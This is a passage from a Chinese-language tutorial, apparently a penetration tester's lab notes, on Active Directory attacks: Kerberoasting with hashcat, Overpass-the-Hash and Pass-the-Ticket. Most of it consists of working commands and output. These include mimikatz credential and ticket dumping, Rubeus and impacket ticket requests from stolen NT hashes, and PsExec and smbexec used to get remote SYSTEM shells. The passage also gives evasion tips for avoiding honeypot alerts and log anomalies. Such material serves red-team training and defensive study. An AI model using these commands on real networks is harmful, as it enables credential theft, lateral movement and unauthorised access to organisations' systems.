rubeus kerberoast /format:hashcat /domain:<Domain Name> /user:<UserName> /nowrap

rubeus 也可以帮你自动化完成当前域(指定域需要加 /domain 参数)枚举到利用整个过程。最好不要这样干,大批量操作会不安全,如果对方创建蜜罐账户,只要有人向蜜罐账户发起 Kerberoasting 攻击就会告警。

rubeus kerberoast /format:hashcat /nowrap

猜解哈希。

hashcat -m 13100 '$krb5asrep$23$moretz@whoamianony.org:653C184951327F2DDA3380550E2847E1$30E6F7AF1973D4B9160EF28AEBC79F0F4594CB889166538A0D8B58A1A13E6A0C5C9B9938C22A64031CF429463C580A55C9468233
2DEC6F784DF009EF6C1371EDBE1BF748FC7EE2EC7628B14C7AF11E20490F370413ECFC441485769280A759A3AF053002239FFA904A7260B11F9A6DF57D1C23ED8D3A5532A838594816A24270DF42186D5BCFFEDB5F8770F49BAB
8D9FEAD94CC7C721F4434648650D1962550BFA7DDB02BDDE6174807423FFFF4B08FD46ECA4F6DC608F5760F2E98629963F6EB21C23933F21FBE023DEED71C6865AA97720998B2C3E2E7C51581E1D5B541AA76113D5BAB024CC32
C9E24042F5A2D0C4858B' dict.txt -o krb5asrep-plaintext.txt

hashcat -a 0 -m 13100 krb5asrep-plaintext.txt dict.txt

TGS-REP 返回的哈希中间带有 $23,根据加密类型来看 etype 23 在 hashcat 是 13100,如果是其他加密比如 $17,就要选 19600,按下表中走就行。一般来说工具会选择 RC4 请求是因为此算法猜解速度快。

ModeDescription
13100Kerberos 5 TGS-REP etype 23 (RC4)
19600Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96)
19700Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96)

Active Directory Attacks - Payloads All The Things (swisskyrepo.github.io)

防范可以设置强口令。

3.6 Overpass the Hash(OTH)

Overpass the Hash(OTH)也叫 Pass The Key(PTK),它两都是指同一个技术,这个技术的核心目的是导出目标机器上的凭证,用这个凭证获取 TGT,通过 TGT 来进行横向。

利用场景是目标机器上有其它域账户登录过凭证存在缓存,可以导出目标域账户凭证,拿着凭证加密时间戳发起 AS-REQ 请求来获取这个域账户 TGT,再去横向到这个域账户的机器上,或者拿着它申请 TGS 访问其他服务,具体能访问什么服务就看这个用户的权限了。另一个思路是干脆就横向批量 PhH 撞 Hash。

AS-REQ 时间戳加密方式无非就这四种类型:

  • rc4_hmac(NT Hash)
  • des_cbc_md4/des_cbc_md5
  • aes128_hmac
  • aes256_hmac

假设当前机器上有人用过其他域账户启动了 cmd(这个 cmd 进程不能关闭,不然后续无法获取到 NT Hash)。

runas /user:raingray.com\zhangqi cmd

我们拿下这台机器后,首先用管理员权限运行 mimikatz 导出凭证。

// 获取 NT Hash
mimikatz "log rc4.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

// 获取 AES/DES Key
mimikatz "log aes.txt" "privilege::debug" "sekurlsa::ekeys" "exit"

OPSEC:实际上导出凭证可能会有很多种类型,到底选择哪种类型与域控进行认证呢?从 Windows Server 版本号来看,大于等于 2008 就可以用 AES,因为 Kerberos TGT 会有日志的,用一个 DES 落后的加密算法认证很突兀(而且 DES 在 Windows 7 和 Windows Server 2008 R2 默认禁用,从 Windows Server 2025 和 Windows 11 24H2 版本开始就直接移除支持了)。

常用横向工具有 mimikatzrubeusimpacket getTGTkekeo 这四个,下面挨个演示用法。

一、Rubeus 获取 TGT

1.使用 NT Hash 获取 TGT

C:\Users\wuhui\Desktop>.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /rc4:8faf590241a5d5ed59fb80eb00440589 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 8faf590241a5d5ed59fb80eb00440589
[*] Building AS-REQ (w/ preauth) for: 'RAINGRAY.COM\zhangqi'
[*] Using domain controller: 192.168.37.1:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

          doIFCDCCBQSgAwIBBaEDAgEWooIEHjCCBBphggQWMIIEEqADAgEFoQ4bDFJBSU5HUkFZLkNPTaIhMB+gAwIBAqEYMBYbBmtyYnRndBsMUkFJTkdSQVkuQ09No4ID1jCCA9KgAwIBEqEDAgECooIDxASCA8Dn7YzYoI5FSIdWfy7yika023wbnndzK5k2KN9vgrHLHK1g7S0+qcFNTkvi4wI1QG7fd9YlgfOL2WDlvQXZsaPVXW5cpgHGKlLfreig7J92DaoYPlqVI9QSCZ8LpGiBR2oNiGq5Y0gnWaYyRtXnWXYQVrgTtYckKqANIZ8Emm9ouVIPGzJ4OcOuEN79HJfs9R3V9p1p6tJ8yqfmB+6vD0P76QNBNiz9KDttxVQdlvObASSvlfHNGQt0tovwPOmlP96949Lm4DqGCO+4RLzD4jg9krkVx2RljpzH6s5yCEsIL5iXMnW41arpbtuEGjhguLnVfznEeKYj9jkaREJH7Zcv3/BKxTrDY3m9yW63SUoP/QZL1oEO/GwV0ZjalerkitKtherH0STEDaJqNTQ+Ox2t10MrPUpGg2pW5E0qUSdnqIovLtOZGc4JRSgAzgPMOfq3+0alVNjegrxQZXPQ0gH+2Oyt3crlLaVgM+ecgLtckesR6GF8x0fWFbQTemKiNksoQjYDVxd0UWAEWW+QWMTujfN9Tx5vmW6+3bkg6cQTeEax4umrq8EOZVRuKdMkR9S1oLrx+i8PrXex333JDj3wMCMnLSFwnsiZAZYcmafOiZpxZeA2Bo2RAblTUtdnQHg4EoOtnUQu/bzIV4oGE62WJUY0GWXkOyOi55Y/sHsAl3C9pP6tNyk9jLwFOitU1M6kjpPk4kaHR8yl4QA+l30BZxG/zfJEexbz/jSaBR75GT1Tsc0d+hnzyy7dlMptlMZUp1rg8DUSOo6p+bJ7BFCAFdxkGrsYZBUbbLKIyMsEhGi0eCEpoG1gHtXrFph+4tpO5BRhkeeURwYHWL/3p6Iv2DzWHNcOD8CdvBlVI8ycfLDPnMJdxpvtwZzHPLo7PsushJKAdRFR+C+d2G2o/I0XNo6EE/8xvOPUp/4M7Iy1SQfODKWMDchrgC6ujMe1oG0O7xD0gIQvUZ5KSggF7OELwN2buANs1Z29sX3hOTTs4rSnNi0iqcunHx60md5RRrF02cA0YedObmsjphmAfnGR2FCYNa8c79qdm9/1eWGDhyRB79d1XTwWY+K5u4f+hjQJ9XPv3H8CJ7qtLGGcBNMr7vrHjvC9qy2jD09hvdcbj5fU7GI2J5Fr8+cnc5XaHKdcf6HZBW2NVE6vHUG9k+aTWQAGprtPAtuFhxwPgzaGLR3d74iVdEIB/cYeEUVoa1D1XvJ19NsIydE2r2eHyAOcAsAMdu+oLw5YRBXdrrEsQ2REAdA90Q18kD87411WWWmjgdUwgdKgAwIBAKKBygSBx32BxDCBwaCBvjCBuzCBuKAbMBmgAwIBF6ESBBAqadwDX5O5n7Y6QWTRPRIBoQ4bDFJBSU5HUkFZLkNPTaIUMBKgAwIBAaELMAkbB3poYW5ncWmjBwMFAEDhAAClERgPMjAyNTAxMTcwOTM2NDRaphEYDzIwMjUwMTE3MTkzNjQ0WqcRGA8yMDI1MDEyNDA5MzY0NFqoDhsMUkFJTkdSQVkuQ09NqSEwH6ADAgECoRgwFhsGa3JidGd0GwxSQUlOR1JBWS5DT00=


[+] Ticket successfully imported!

  ServiceName              :  krbtgt/RAINGRAY.COM
  ServiceRealm             :  RAINGRAY.COM
  UserName                 :  zhangqi
  UserRealm                :  RAINGRAY.COM
  StartTime                :  2025/1/17 17:36:44
  EndTime                  :  2025/1/18 3:36:44
  RenewTill                :  2025/1/24 17:36:44
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  KmncA1+TuZ+2OkFk0T0SAQ==
  ASREP (key)              :  8FAF590241A5D5ED59FB80EB00440589


C:\Users\wuhui\Desktop>

获取完成后会自动导入 TGT。可以通过系统自带命令 klist 或者工具 rubeus klist 查询。

C:\Users\wuhui>klist

当前登录 ID 是 0:0x796dfe

缓存的票证: (1)

#0>     客户端: zhangqi @ RAINGRAY.COM
        服务器: krbtgt/RAINGRAY.COM @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 1/17/2025 17:36:44 (本地)
        结束时间:   1/18/2025 3:36:44 (本地)
        续订时间: 1/24/2025 17:36:44 (本地)
        会话密钥类型: RSADSI RC4-HMAC(NT)
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:

C:\Users\wuhui\Desktop>Rubeus.exe klist

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x796dfe

  UserName                 : wuhui
  Domain                   : PC-01
  LogonId                  : 0x796dfe
  UserSID                  : S-1-5-21-2567686234-2514674914-238802200-1001
  AuthenticationPackage    : NTLM
  LogonType                : Interactive
  LogonTime                : 2025/1/17 17:00:18
  LogonServer              : PC-01
  LogonServerDNSDomain     :
  UserPrincipalName        :

    [0] - 0x12 - aes256_cts_hmac_sha1
      Start/End/MaxRenew: 2025/1/17 17:51:14 ; 2025/1/18 3:36:44 ; 2025/1/24 17:36:44
      Server Name       : HOST/pc-02 @ RAINGRAY.COM
      Client Name       : zhangqi @ RAINGRAY.COM
      Flags             : name_canonicalize, pre_authent, renewable, forwardable (40a10000)

此时就可以通过 PsExec 获取 zhangqi 域账户登录过的机器 Shell,收集更多信息。这里一定要用机器名访问才能走 Kberberos 认证,通过 IP 则是用 NTLM 认证,所以拿 IP 认证失败。

C:\Users\wuhui\Desktop>dir \\192.168.37.3\C$\users
拒绝访问。
C:\Users\wuhui\Desktop>dir \\pc-02\C$\users
 驱动器 \\pc-02\C$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02\C$\users 的目录

2023/11/29  14:37    <DIR>          .
2023/11/29  14:37    <DIR>          ..
2023/11/29  14:37    <DIR>          administrator
2023/10/16  09:36    <DIR>          Public
2023/10/16  09:37    <DIR>          wuhui
2023/12/07  21:26    <DIR>          zhangqi
               0 个文件              0 字节
               6 个目录 43,232,993,280 可用字节

C:\Users\wuhui>dir \\pc-02\c$
 驱动器 \\pc-02\c$ 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 \\pc-02\c$ 的目录

2019/12/07  17:14    <DIR>          PerfLogs
2023/12/02  19:53    <DIR>          Program Files
2023/08/31  23:09    <DIR>          Program Files (x86)
2023/11/29  14:37    <DIR>          Users
2023/11/29  16:09    <DIR>          Windows
               0 个文件              0 字节
               5 个目录 43,230,572,544 可用字节

有了访问权限后直接用 PsExec 拿 Shell。

C:\Users\wuhui\Desktop>PsExec64.exe \\pc-02 cmd

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [版本 10.0.19045.3448]
(c) Microsoft Corporation。保留所有权利。

C:\Windows\system32>whoami
raingray\zhangqi

要是操作完成了,用普通账户权限可以清除缓存中的 TGT,清除两种方式,一个全部清除,另一个清除指定 TGT。

// 清除指定 TGT。这个 LOGINID 用 Rubeus.exe klist 查询
Rubeus.exe purge [/luid:LOGINID]

// 全部清除 TGT。
klist purge
Rubeus.exe purge

2.aes128_hmac/aes256_hmac 获取 TGT

当此域用户禁止使用 NT Hash 进行 Kerberos 认证——被添加进 Protected Users,可以使用 AES 认证。

.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /aes128:<Key> /ptt
.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /aes256:<Key> /ptt

3.des 获取 TGT

.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /des:8faf590241a5d5ed59fb80eb00440589 /ptt

导出的 DES 是。

mimikatz(commandline) # sekurlsa::ekeys

Authentication Id : 0 ; 1473339 (00000000:00167b3b)
Session           : Interactive from 0
User Name         : zhangqi
Domain            : RAINGRAY
Logon Server      : DC-BEIJING-01
Logon Time        : 2025/2/19 10:33:31
SID               : S-1-5-21-247606177-2237963610-2667746150-1107

         * Username : zhangqi
         * Domain   : RAINGRAY.COM
         * Password : (null)
         * Key List :
           des_cbc_md4       3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed
           des_cbc_md4       8faf590241a5d5ed59fb80eb00440589
           des_cbc_md4       8faf590241a5d5ed59fb80eb00440589
           des_cbc_md4       8faf590241a5d5ed59fb80eb00440589
           des_cbc_md4       8faf590241a5d5ed59fb80eb00440589
           des_cbc_md4       8faf590241a5d5ed59fb80eb00440589

两个值都试了,在 Lab 中没成功过。

C:\Users\wuhui\Desktop>.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /des:8faf590241a5d5ed59fb80eb00440589 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using des_cbc_md5 hash: 8faf590241a5d5ed59fb80eb00440589
[*] Building AS-REQ (w/ preauth) for: 'RAINGRAY.COM\zhangqi'

[!] Unhandled Rubeus exception:

System.ComponentModel.Win32Exception (0x80004005): Unknown error (0xc000000d)
   在 Rubeus.Crypto.KerberosEncrypt(KERB_ETYPE eType, Int32 keyUsage, Byte[] key, Byte[] data)
   在 Rubeus.PA_DATA..ctor(String keyString, KERB_ETYPE etype)
   在 Rubeus.AS_REQ..ctor(String keyString, KERB_ETYPE etype, Boolean opsec, Boolean pac)
   在 Rubeus.AS_REQ.NewASReq(String userName, String domain, String keyString, KERB_ETYPE etype, Boolean opsec, Boolean changepw, Boolean pac, String service)
   在 Rubeus.Ask.TGT(String userName, String domain, String keyString, KERB_ETYPE etype, String outfile, Boolean ptt, String domainController, LUID luid, Boolean describe, Boolean opsec, String servicekey, Boolean changepw, Boolean pac, String proxyUrl, String service)
   在 Rubeus.Commands.Asktgt.Execute(Dictionary`2 arguments)
   在 Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   在 Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)

C:\Users\wuhui\Desktop>.\Rubeus.exe asktgt /domain:RAINGRAY.COM /user:zhangqi /des:3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using des_cbc_md5 hash: 3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed
[*] Building AS-REQ (w/ preauth) for: 'RAINGRAY.COM\zhangqi'

[!] Unhandled Rubeus exception:

System.ComponentModel.Win32Exception (0x80004005): Unknown error (0xc000000d)
   在 Rubeus.Crypto.KerberosEncrypt(KERB_ETYPE eType, Int32 keyUsage, Byte[] key, Byte[] data)
   在 Rubeus.PA_DATA..ctor(String keyString, KERB_ETYPE etype)
   在 Rubeus.AS_REQ..ctor(String keyString, KERB_ETYPE etype, Boolean opsec, Boolean pac)
   在 Rubeus.AS_REQ.NewASReq(String userName, String domain, String keyString, KERB_ETYPE etype, Boolean opsec, Boolean changepw, Boolean pac, String service)
   在 Rubeus.Ask.TGT(String userName, String domain, String keyString, KERB_ETYPE etype, String outfile, Boolean ptt, String domainController, LUID luid, Boolean describe, Boolean opsec, String servicekey, Boolean changepw, Boolean pac, String proxyUrl, String service)
   在 Rubeus.Commands.Asktgt.Execute(Dictionary`2 arguments)
   在 Rubeus.Domain.CommandCollection.ExecuteCommand(String commandName, Dictionary`2 arguments)
   在 Rubeus.Program.MainExecute(String commandName, Dictionary`2 parsedArgs)

C:\Users\wuhui\Desktop>

二、impacket getTGT

Kali 下已经内置了 impacket,可以直接运行 impacket-getTGT 命令,Windows 则是运行脚本 getTGT.py。

// NT Hash。--dcip 是域控地址,第二个参数是用户名,最后一个是哈希,冒号前面是 LM 哈希,由于不再使用所以置空。
getTGT.py -dc-ip IP <DC Domain FQDN>/UserName> -hashes :<NT Hash>

// AES Key,填 128 或 256
getTGT.py -aesKey <Key> <DC Domain FQDN>/UserName>@<DC IP>

这里用 NT Hash 获取 TGT。

┌──(kali㉿kali)-[~/Desktop]
└─$ proxychains impacket-getTGT -dc-ip 192.168.37.1 raingray.com/zhangqi -hashes :8faf590241a5d5ed59fb80eb00440589
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  192.168.37.2:6005  ...  192.168.37.1:88  ...  OK
[proxychains] Strict chain  ...  192.168.37.2:6005  ...  192.168.37.1:88  ...  OK
[*] Saving ticket in zhangqi.ccache

Linux 环境下可以将获取到的票据绝对路径放到环境变量 KRB5CCNAME,后面通过 proxychains 挂 Socks 代理访问资源。

// 指定票据路径
export KRB5CCNAME=<Ticket File Absolute Path>;

// 使用票据进行连接
smbexec.py -k -no-pass <DC Domain FQDN>/UserName>@<SPN>

具体操作如下。

┌──(kali㉿kali)-[~/Desktop]
└─$ export KRB5CCNAME=/home/kali/Desktop/zhangqi.ccache;

┌──(kali㉿kali)-[~/Desktop]
└─$ proxychains impacket-smbexec -k -no-pass raingray.com/zhangqi@PC-02 -dc-ip 192.168.37.1 -target-ip 192.168.37.3 -codec gbk
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[proxychains] Strict chain  ...  192.168.37.2:6005  ...  192.168.37.3:445  ...  OK
[proxychains] Strict chain  ...  192.168.37.2:6005  ...  192.168.37.1:88  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>dir C:\Users
 驱动器 C 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 C:\Users 的目录

2023/11/29  14:37    <DIR>          .
2023/11/29  14:37    <DIR>          ..
2023/11/29  14:37    <DIR>          administrator
2023/10/16  09:36    <DIR>          Public
2023/10/16  09:37    <DIR>          wuhui
2023/12/07  21:26    <DIR>          zhangqi
               0 个文件              0 字节
               6 个目录 43,210,649,600 可用字节

C:\Windows\system32>dir C:\Users\zhangqi\Desktop
 驱动器 C 中的卷没有标签。
 卷的序列号是 12C8-9D4E

 C:\Users\zhangqi\Desktop 的目录

2025/01/17  16:38    <DIR>          .
2025/01/17  16:38    <DIR>          ..
2024/11/16  14:36    <DIR>          frp_0.61.0_windows_amd64
2024/11/16  16:10         7,266,304 fscan.exe
2025/01/17  16:38    <DIR>          mimikatz_trunk
2023/03/16  23:48            28,160 nc.exe
2024/11/16  15:15    <DIR>          Proxifier
2024/11/16  15:28             1,345 Proxifier - 快捷方式.lnk
2024/11/16  15:28    <DIR>          ProxifierPE
2024/11/16  15:27         3,099,993 ProxifierPE.zip
2023/04/11  18:10           833,472 PsExec64.exe
2024/11/16  16:20               400 result.txt
2023/12/02  19:52    <DIR>          WiresharkPortable64
2023/12/02  19:54             1,312 WiresharkPortable64 - 快捷方式.lnk
2024/11/16  15:14    <DIR>          zeroomega-3.3.14
               7 个文件     11,230,986 字节
               8 个目录 43,210,645,504 可用字节

C:\Windows\system32>exit

┌──(kali㉿kali)-[~/Desktop]
└─$ 

Windows 环境下使用普通权限账户导入 TGT 票据。Rubeus 只能导入 kirbi(mimikatz 都可以导入),因此,impacket-getTGT 导出的 .ccache 票据需要转换成 .kirbi,转换工具同样也是用的 impacket-ticketConverter,Kali 下执行 impacket-ticketConverter zhangqi.ccache zhangqi.kirbi 即可完成转换。

// Rubeus 导入 .kirbi
Rubeus.exe ptt /ticket:zhangqi.kirbi

// mimikatz 导入 .ccache
mimikatz "privilege::debug" "kerberos::ptc zhangqi.ccache" "exit"

// mimikatz 导入 .kirbi
mimikatz "privilege::debug" "kerberos::ptt zhangqi.kirbi" "exit"

三、Mimikatz

获取管理员权限后 Mimikatz 拿 NT Hash,运行在当前机器运行 PowerShell,运行完毕后会创出窗口。通过 PowerShell 窗口,用主机名或者 IP 访问到目标 C Shell。

// NT Hash
mimikatz "privilege::debug" "sekurlsa::pth /user:zhangqi /domain:raingray.com /ntlm:8faf590241a5d5ed59fb80eb00440589 /run:powershell" "exit"

使用 AES Key。

// AES 128
mimikatz "privilege::debug" "sekurlsa::pth" "/user:<UserName>" "/domain:<FQDN>" "/aes128:<Key>"

// AES 256
mimikatz "privilege::debug" "sekurlsa::pth" "/user:<UserName>" "/domain:<FQDN>" "/aes256:<Key>"

四、kekeo

那 NT hash 申请 TGT 并导入内存。

kekeo "tgt::ask /user:zhangqi /domain:raingray.com /ntlm:8faf590241a5d5ed59fb80eb00440589 /ptt" "exit"

3.7 Pass the Ticket(PtT)

Pass the Ticket(PtT)叫票据传递,是拿到目标机器权限后,只要有其他域账户登录过这台机器就会留下 TGT 票据缓存,此时我们应该导出机器上所有 Kerberos 票据,然后导入对应 TGT 到当前会话,就无需密码访问对应服务。

假设当前我拿到一台加过域的 Windows 10 办公机本地管理员用户权限,这台机器有其他域账户通过远程桌面登录过,只是断开连接状态而且没注销。

C:\Users\wuhui>query user
 用户名                会话名             ID  状态    空闲时间   登录时间
>wuhui                 console             1  运行中         45  2025/2/27 10:01
 zhangqi                                   4  断开           45  2025/2/27 10:17

这里完成 PtT 操作只有两步,一是导出 TGT 票据,二是导入票据,三是完成服务利用。工具也很多,这里只演示 Mimikatz 和 Rubeus 两款。

一、Mimikatz

需要提前说明,只要导出票据就需要高完整性 Shell 才能操作。

mimikatz "log ticket.txt" "privilege::debug" "sekurlsa::tickets /export" exit

这里导出后只有 “Group 2 - Ticket Granting Ticket” 组有数据,这就是导出的 TGT。

PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> .\mimikatz "privilege::debug" "sekurlsa::tickets /export" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::tickets /export

Authentication Id : 0 ; 986630 (00000000:000f0e06)
Session           : RemoteInteractive from 2
User Name         : zhangqi
Domain            : RAINGRAY
Logon Server      : DC-BEIJING-01
Logon Time        : 2025/2/27 10:04:28
SID               : S-1-5-21-247606177-2237963610-2667746150-1107

         * Username : zhangqi
         * Domain   : RAINGRAY.COM
         * Password : (null)

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket
         [00000000]
           Start/End/MaxRenew: 2025/2/27 10:04:28 ; 2025/2/27 20:04:28 ; 2025/3/6 10:04:28
           Service Name (02) : krbtgt ; RAINGRAY.COM ; @ RAINGRAY.COM
           Target Name  (02) : krbtgt ; raingray.com ; @ RAINGRAY.COM
           Client Name  (01) : zhangqi ; @ RAINGRAY.COM ( raingray.com )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000001 - des_cbc_crc
             29ef657e5f457b416df300e986028e01e333f108a3c081d83fd82608a3595f67
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;1ef07a]-2-0-40e10000-zhangqi@krbtgt-RAINGRAY.COM.kirbi
......

这里要提醒下票据还有过期时间,域控 Kerberos 策略中 TGT 和 ST 获取后有效期默认 10 小时。从工具导出的信息中也有写明有效期。

票据有效期的组策略.png

获取到票据后,用普通用户权限就能导入到当前会话,其他工具也一样。

mimikatz "kerberos::ptt xxx.kirbi" exit

导入后无法访问。

PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> dir \\pc-02\c$
dir : 拒绝访问。
所在位置 行:1 字符: 1
+ dir \\pc-02\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\pc-02\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

dir : 找不到路径“\\pc-02\c$”,因为该路径不存在。
所在位置 行:1 字符: 1
+ dir \\pc-02\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\pc-02\c$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> .\mimikatz "kerberos::ptt [0;1ef07a]-2-0-40e10000-zhangqi@krbtgt-RAINGRAY.COM.kirbi" exit^C
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> klist

当前登录 ID 是 0:0x63236

缓存的票证: (0)
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> .\mimikatz "kerberos::ptt [0;1ef07a]-2-0-40e10000-zhangqi@krbtgt-RAINGRAY.COM.kirbi" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # kerberos::ptt [0;1ef07a]-2-0-40e10000-zhangqi@krbtgt-RAINGRAY.COM.kirbi

* File: '[0;1ef07a]-2-0-40e10000-zhangqi@krbtgt-RAINGRAY.COM.kirbi': OK

mimikatz(commandline) # exit
Bye!
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> klist

当前登录 ID 是 0:0x63236

缓存的票证: (1)

#0>     客户端: zhangqi @ RAINGRAY.COM
        服务器: krbtgt/RAINGRAY.COM @ RAINGRAY.COM
        Kerberos 票证加密类型: AES-256-CTS-HMAC-SHA1-96
        票证标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 2/27/2025 10:16:57 (本地)
        结束时间:   2/27/2025 20:16:57 (本地)
        续订时间: 3/6/2025 10:16:57 (本地)
        会话密钥类型: Kerberos DES-CBC-CRC
        缓存标志: 0x1 -> PRIMARY
        调用的 KDC:
PS C:\Users\wuhui\Desktop\mimikatz_trunk\x64> dir \\pc-02\c$
dir : 拒绝访问。
所在位置 行:1 字符: 1
+ dir \\pc-02\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\pc-02\c$:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

dir : 找不到路径“\\pc-02\c$”,因为该路径不存在。
所在位置 行:1 字符: 1
+ dir \\pc-02\c$
+ ~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\pc-02\c$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand        

那就尝试用当前 TGT 去申请 CIFS 服务 ST,结果这台机器没有 CIFS 这个 SPN。但是后面用 Rubeus 导入 TGT 就成功了,也不需要申请 ST,感觉是 Mimikatz 工具的问题。

.\mimikatz "privilege::debug" "token::elevate" "kerberos::ask /target:CIFS/pc-02.raingray.com /service:CIFS /domain:raingray.com /user:zhangqi" exit

二、Rubeus

Rubeus 导出票据。

// 导出现有的票据
Rubeus.exe dump /nowrap

// 监听票据,每五秒刷新一次,只要有人登录了就会输出。
.\Rubeus.exe monitor /interval:5 /nowrap

导出示例。

PS C:\Users\wuhui\Desktop> .\Rubeus.exe dump /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3


Action: Dump Kerberos Ticket Data (All Users)

[*] Current LUID    : 0x63236

  UserName                 : zhangqi
  Domain                   : RAINGRAY
  LogonId                  : 0x1ef0cf
  UserSID                  : S-1-5-21-247606177-2237963610-2667746150-1107
  AuthenticationPackage    : Negotiate
  LogonType                : RemoteInteractive
  LogonTime                : 2025/2/27 10:16:57
  LogonServer              : DC-BEIJING-01
  LogonServerDNSDomain     : RAINGRAY.COM
  UserPrincipalName        : zhangqi@raingray.com


    ServiceName              :  krbtgt/RAINGRAY.COM
    ServiceRealm             :  RAINGRAY.COM
    UserName                 :  zhangqi
